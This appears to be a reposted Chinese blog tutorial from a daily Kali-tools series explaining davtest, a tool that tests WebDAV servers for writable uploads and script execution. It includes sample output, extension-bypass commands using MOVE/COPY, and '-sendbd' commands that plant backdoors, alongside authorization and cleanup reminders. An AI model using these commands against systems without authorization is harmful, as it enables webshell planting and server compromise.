文章总结: 本文介绍Kali工具davtest,用于测试WebDAV服务器是否可被利用。工具通过上传测试文件验证服务器写权限及代码执行能力,核心判定标准为PUT与EXEC双成功即存在代码执行风险。文章详解五步测试流程、MOVE/COPY绕过技巧、后门验证及合规使用提醒,并提供参数速查与实战示例,强调授权测试与清理现场的职业素养。
综合评分: 85
文章分类: 渗透测试,WEB安全,安全工具
每天学一个 Kali 工具 · Day20 | davtest:WebDAV 服务裸奔与否,一测便知
原创
0day收割机
0day收割机
0day收割机
2026年9月20日 09:51
山东
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
摘要:「每天学一个 Kali 工具」第二十天,系列满月加更!今天这位是进攻篇的先锋官——davtest:69KB 的 Perl 小钢炮,专门测试 WebDAV 服务器能不能被上传文件、能不能执行代码,五分钟给目标做”裸奔鉴定”。官网完整示例输出罕见地全须全尾,逐行精讲不容错过。文末附参数速查和二十天里程碑盘点,建议收藏。
写在前面
系列连载二十天,满月了!
先宣布一个大事:从今天起,进攻篇正式开始。
前十九天我们干的全是”看”的活儿——扫描、爆破目录、收集情报、拦截流量,最多算把目标的底裤颜色摸清了。今天的davtest不一样,它是系列里第一个真正”动手”的工具:往服务器上传文件、测代码能不能执行,甚至可选地放后门验证利用链。
而且它专挑一个容易被遗忘的冷门角落下手——WebDAV。这个功能一旦配置失误,等于给全世界开了一个”网页版共享文件夹”,还是可写的那种。
一、davtest 是什么?
Kali 官网的定义:
DAVTest 通过上传测试用可执行文件来测试启用了 WebDAV 的服务器,然后(可选地)上传允许命令执行或其他操作的文件(后门)直接作用于目标。它是为渗透测试人员设计的,用于快速、简单地判断已启用的 DAV 服务是否可被利用。
先补个课:WebDAV 是什么?
WebDAV(Web Distributed Authoring and Versioning)是 HTTP 的扩展协议——让 Web 服务器从”只能读”变成”能读能写”:客户端可以通过 HTTP 直接上传、删除、移动、复制服务器上的文件。Windows 的”映射网络驱动器”、各种网盘挂载,底层常用它。
问题就出在”能写”:如果匿名可写,或者写权限管控不严,攻击者就能:
- 上传一个 WebShell(php/jsp/asp 一句话木马);
- 浏览器访问它,命令执行到手;
- 整台服务器沦陷。
davtest 干的就是把这条利用链快速验证一遍——当然,用的是无害测试文件。
| 档案项 | 内容 |
| — | — |
| 体积 | 69 KB(Perl 脚本 + libhttp-dav-perl,轻如鸿毛) |
| 定位 | WebDAV 可利用性快速验证 |
| 危险性 | 中(默认只传测试文件;-sendbd 才发真后门) |
二、快速上手:官网示例精讲
官网给的示例极其完整(系列罕见),扫描一个内网 WebDAV 服务器:
davtest -url http://192.168.1.209
官网输出(分段精讲):
第一段:连接测试
********************************************************Testing DAV connectionOPEN SUCCEED: http://192.168.1.209********************************************************NOTE Random string for this session: B0yG9nhdFS8gox
先确认目标 WebDAV 服务开着(OPEN SUCCEED),然后生成本次会话的随机字符串——后面所有目录和文件名都带它,方便测试完清理现场。
第二段:创建测试目录
Creating directoryMKCOL SUCCEED: Created http://192.168.1.209/DavTestDir_B0yG9nhdFS8gox
用 WebDAV 的 MKCOL 方法(创建集合/目录)在服务器上建了一个测试目录——能建目录,说明写权限已经开门了。
第三段:上传 11 种测试文件
Sending test filesPUT asp FAILPUT cgi FAILPUT txt SUCCEED: http://.../davtest_B0yG9nhdFS8gox.txtPUT pl SUCCEED: http://.../davtest_B0yG9nhdFS8gox.plPUT jsp SUCCEED: http://.../davtest_B0yG9nhdFS8gox.jspPUT cfm SUCCEED: http://.../davtest_B0yG9nhdFS8gox.cfmPUT aspx FAILPUT jhtml SUCCEED: http://.../davtest_B0yG9nhdFS8gox.jhtmlPUT php SUCCEED: http://.../davtest_B0yG9nhdFS8gox.phpPUT html SUCCEED: http://.../davtest_B0yG9nhdFS8gox.htmlPUT shtml FAIL
davtest 用 PUT 方法挨个上传 11 种扩展名的测试文件——哪种能传上去,哪种就是潜在 WebShell 入口。这台服务器:asp/cgi/aspx/shtml 被拦,但php/jsp/pl/cfm 全放行——防线千疮百孔。
第四段:执行测试
Checking for test file executionEXEC txt SUCCEED: http://.../davtest_B0yG9nhdFS8gox.txtEXEC pl FAILEXEC jsp FAILEXEC cfm FAILEXEC jhtml FAILEXEC php FAILEXEC html SUCCEED: http://.../davtest_B0yG9nhdFS8gox.html
传上去只是一半,能不能被服务器解析执行才是致命一击。这台服务器:php/jsp 传得上去但执行不了(没装对应解析器或没映射到该目录)——万幸。但注意逻辑:只要任何一个动态扩展名 PUT + EXEC 双 SUCCEED,就等于拿到了代码执行。
第五段:总结报告
/usr/bin/davtest Summary:Created: http://192.168.1.209/DavTestDir_B0yG9nhdFS8goxPUT File: http://.../davtest_B0yG9nhdFS8gox.txtPUT File: http://.../davtest_B0yG9nhdFS8gox.pl(……全部上传成功的文件清单……)Executes: http://.../davtest_B0yG9nhdFS8gox.txtExecutes: http://.../davtest_B0yG9nhdFS8gox.html
最后汇总:建了什么目录、传了哪些文件、哪些能执行——直接可以贴进渗透测试报告。
三、进阶技巧:绕过与后门验证
1. -move / -copy:经典的扩展名绕过
有些服务器禁止直接 PUT php 文件,但允许传 txt。davtest 的应对:先传 txt,再用 WebDAV 的 MOVE/COPY 方法改名成 php——很多老旧 IIS 的防线就这么被绕过:
# 先 PUT 文本文件,再 MOVE 成可执行扩展名davtest -url http://target -move # 或者用 COPYdavtest -url http://target -copy
2. -sendbd:发送真后门(仅限授权评估)
# 对每种上传成功的类型,自动发送对应后门davtest -url http://target -sendbd auto # 只发送指定扩展名的后门(backdoors/ 目录里有的)davtest -url http://target -sendbd php,jsp
-sendbd 不再是无害测试文件,而是 davtest 自带 backdoors/ 目录里的可执行命令的后门文件——这是”验证利用链完整性”的最后一步,必须在书面授权范围内。
3. -uploadfile:上传自定义文件
# 把自己的文件传到服务器指定相对路径davtest -url http://target -uploadfile ./my_test.txt -uploadloc testdir/my_test.txt
4. -cleanup:做完测试擦干净
# 测试完成后删除所有上传的内容davtest -url http://target -cleanup
授权测试的职业素养:传上去的东西,走的时候要带走。
四、参数速查表
官网 davtest -h 完整参数:
目标与认证
| 参数 | 作用 |
| — | — |
| -url <地址> | 必填,WebDAV 服务的 URL |
| -auth <用户:密码> | 带认证测试(用户名:密码) |
| -realm <域> | 认证 Realm |
目录与命名
| 参数 | 作用 |
| — | — |
| -directory <后缀> | 自定义要创建目录的后缀部分 |
| -nocreate | 不创建目录(直接在根位置测试) |
| -rand <字符串> | 用指定字符串替代随机字符串(文件名可预测,方便复测) |
绕过手法
| 参数 | 作用 |
| — | — |
| -move | 先 PUT 文本文件,再 MOVE 改名成可执行扩展名 |
| -copy | 先 PUT 文本文件,再 COPY 复制成可执行扩展名 |
后门与上传
| 参数 | 作用 |
| — | — |
| -sendbd auto | 对所有上传成功的类型自动发送后门 |
| -sendbd <扩展名> | 只发送指定扩展名的后门(对应 backdoors/ 目录里的文件) |
| -uploadfile <文件> | 上传自定义文件(需配合 -uploadloc) |
| -uploadloc <路径> | 自定义上传的目标相对路径/文件名(需配合 -uploadfile) |
输出与清理
| 参数 | 作用 |
| — | — |
| -quiet | 只打印总结(Summary) |
| -cleanup | 测试完成后删除所有上传的内容 |
| -debug <1-3> | DAV 调试级别,2 和 3 会把请求/响应记录到 /tmp/perldav_debug.txt |
五、实战速查
# 1. 官网同款:基础全量测试davtest -url http://192.168.1.209 # 2. 带认证的 WebDAV 测试davtest -url http://target/davdir -auth webdav:webdav # 3. 测完自动清理现场(推荐养成习惯)davtest -url http://target -cleanup # 4. 只要总结不要过程davtest -url http://target -quiet # 5. PUT php 被拦?试试 MOVE 绕过davtest -url http://target -move # 6. 深度排障:记录全部请求响应davtest -url http://target -debug 3 # 7. 授权评估验证利用链:自动发后门davtest -url http://target -sendbd auto # 8. 上传自定义测试文件到指定位置davtest -url http://target -uploadfile ./test.txt -uploadloc uploads/test.txt # 9. 不建目录,直接怼根目录(观察权限)davtest -url http://target -nocreate # 10. 组合拳:nmap 发现 80 端口 → Burp 爬出 /dav 端点 → davtest 验证nmap -sV -p 80 targetdavtest -url http://target/dav -cleanup
六、合规提醒
davtest 是系列第一个写操作类工具,合规等级全面上调:
- 书面授权是绝对前提:davtest 会真实地往目标服务器写文件、建目录,未授权测试已不是”扫描”级别的行为,可能直接触犯非法侵入/破坏计算机信息系统相关法律;
- -sendbd 三重确认:发送后门文件必须在授权书明确允许的范围内,且评估结束后必须
-cleanup或手动彻底清除; - 别打生产环境的脸:对生产 WebDAV 服务测试前确认影响面,
-cleanup保证不留垃圾文件影响业务; - 蓝队自查:管理员可以用 davtest 测自己的共享服务——重点看匿名 PUT 是否被拦、动态脚本是否可执行、MOVE/COPY 改名能否绕过;
- 发现即修复:WebDAV 非必需就关掉;必需就加认证 + 限制写权限 + 禁脚本执行 + 上传目录与解析目录隔离。
今日小结
-
davtest = WebDAV 可利用性鉴定器:69KB Perl 脚本,五步流程(连接→随机串→建目录→传 11 种文件→测执行)一条龙;
-
判定标准记住一句话:PUT 成功 + EXEC 成功 = 代码执行,两个 SUCCEED 凑齐就是重大发现;
-
-move/
-copy是经典绕过:txt 传上去改名成 php,专治”禁传脚本但允许改名”的半吊子防线; -
-sendbd发真后门验证利用链(仅限授权),
-cleanup擦干净走人——职业素养闭环; -
系列里程碑:Day20 进攻篇开幕,davtest 是我们第一个”动手写”的工具。
附:二十天兵器谱盘点
| 篇章 | 天数 | 工具 |
| — | — | — |
| 端口与服务扫描 | Day01 / Day13 | nmap、unicornscan |
| 目录爆破四件套 | Day02-05 | dirb、feroxbuster、ffuf、gobuster |
| Web 参数 Fuzzing | Day04 / Day08 | ffuf、wfuzz |
| DNS 侦察三剑客 | Day14-16 | dnsrecon、dnsenum、dnsmap |
| OSINT 情报 | Day07 / Day09 / Day12 / Day17 | recon-ng、amass、theHarvester、SpiderFoot |
| 单点侦察 | Day06 / Day10 | lbd、dmitry |
| 自动化框架 | Day11 | legion |
| Web 测试平台 | Day19 | Burp Suite |
| 无线近场 | Day18 | spooftooph |
| 进攻篇 | Day20 | davtest(WebDAV 利用验证) |
#
觉得有用的话,点赞 + 在看 + 转发给一起学安全的朋友。关注「每天学一个 Kali 工具」,明天见!
参考资料
- Kali 官方工具页:https://www.kali.org/tools/davtest/
- 项目主页:https://github.com/cldrn/davtest
- WebDAV 协议规范:RFC 4918
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:0day收割机 0day收割机
0day收割机《每天学一个 Kali 工具 · Day20 | davtest:WebDAV 服务裸奔与否,一测便知》